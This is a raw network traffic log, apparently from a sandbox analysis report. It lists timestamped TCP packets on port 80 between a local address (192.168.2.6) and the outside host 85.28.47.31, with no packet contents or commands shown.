Jul 26, 2024 13:49:12.275412083 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275428057 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.275449991 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.275465965 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.276336908 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.276355028 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.276370049 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.276384115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.276398897 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.276411057 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.276415110 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.276447058 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.276463032 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.280689955 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.280735016 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.280987024 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281002998 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281043053 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281132936 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281164885 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281335115 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281351089 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281377077 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281394958 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281469107 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281482935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281497955 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281513929 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281518936 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281550884 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281620979 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281644106 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281658888 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.281665087 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281689882 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.281708002 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.282296896 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282311916 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282325983 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282340050 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282354116 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282356024 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.282371044 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282387972 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.282401085 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.282421112 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282438040 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.282459974 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.282911062 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282927990 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282934904 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282949924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.282977104 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283005953 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283056974 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283071995 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283109903 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283119917 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283775091 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283791065 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283806086 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283819914 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283835888 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283847094 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283876896 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283902884 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283919096 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283932924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283941984 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283948898 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.283956051 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283971071 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.283987045 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284789085 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284806013 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284821987 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284828901 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284837008 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284842968 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284853935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284859896 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284869909 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284876108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284892082 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284898043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284908056 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284914970 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.284929991 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.284949064 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.285440922 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.285455942 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.285470963 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.285491943 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.285516024 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.285578966 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.285595894 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.285610914 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.285625935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.285636902 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.285660982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.286453962 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.286468983 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.286494970 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.286509991 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.351459980 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.351507902 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.351795912 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.351810932 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.351825953 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.351833105 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.351841927 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.351849079 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.351866007 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.351883888 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.351974964 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.351994991 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.352004051 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.352026939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.352055073 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.355719090 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.355791092 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.355799913 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.355814934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.355834961 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.355866909 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356101036 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356117010 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356132030 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356151104 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356169939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356648922 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356688023 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356833935 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356848001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356862068 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356868982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356877089 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356888056 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356893063 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.356903076 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356925011 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.356939077 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.358362913 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358377934 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358393908 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358414888 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358432055 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358445883 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358458042 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.358462095 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358589888 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.358854055 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358870983 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.358917952 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360439062 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360450983 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360466003 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360486031 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360493898 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360521078 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360527039 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360538006 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360553026 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360562086 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360569000 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360589027 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360630035 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360866070 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360881090 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360896111 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360908985 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360908985 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360919952 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360928059 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360940933 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360944033 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.360950947 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360971928 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.360981941 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.361713886 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361727953 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361742973 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361776114 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.361794949 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.361908913 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361924887 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361938953 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361953020 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361964941 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.361968040 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.361982107 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.362011909 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363009930 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363023043 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363037109 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363050938 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363065004 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363079071 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363082886 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363095045 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363109112 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363117933 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363122940 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363138914 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363152027 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363183975 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363540888 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363554955 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363569021 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363579035 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363583088 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363600016 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363615990 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363630056 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363707066 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363722086 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.363748074 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.363759041 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.368943930 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.368997097 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369293928 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369308949 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369323015 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369337082 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369352102 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369353056 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369369030 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369385004 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369414091 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369446039 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369461060 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369474888 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369504929 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369529009 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369570971 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369585037 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369600058 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369615078 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.369616985 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369645119 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.369668961 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371232986 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371248007 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371263981 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371285915 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371310949 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371310949 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371428013 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371443987 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371474028 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371496916 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371604919 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371619940 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371654987 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371676922 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.371979952 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.371999979 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372014046 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372028112 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372029066 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372051954 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372095108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372095108 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372134924 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372180939 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372333050 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372348070 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372380972 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372405052 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372533083 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372548103 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372560978 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372575998 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372589111 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372591019 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372605085 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372621059 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372642994 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372657061 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.372690916 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372884035 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.372925997 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.373862982 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.373879910 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.373893976 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.373908997 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.373924017 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.373929024 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.373954058 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.373997927 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.374034882 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.374051094 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.374064922 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.374073982 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.374100924 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.374824047 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.374838114 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.374851942 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.374866009 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.374878883 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.374906063 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440023899 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440099001 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440095901 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440113068 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440150023 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440150023 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440351009 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440381050 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440397024 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440402985 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440438986 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440438986 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440798998 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440820932 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.440860987 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.440860987 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.444401026 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.444451094 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.444583893 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.444612026 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.444629908 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.444737911 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.444911957 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.444927931 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.444943905 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.444958925 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.444969893 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.444969893 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.445003986 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.445003986 CEST	58985	80	192.168.2.6	85.28.47.31
Jul 26, 2024 13:49:12.445662975 CEST	80	58985	85.28.47.31	192.168.2.6
Jul 26, 2024 13:49:12.445679903 CEST	80	58985	85.28.47.31	192.168.2.6
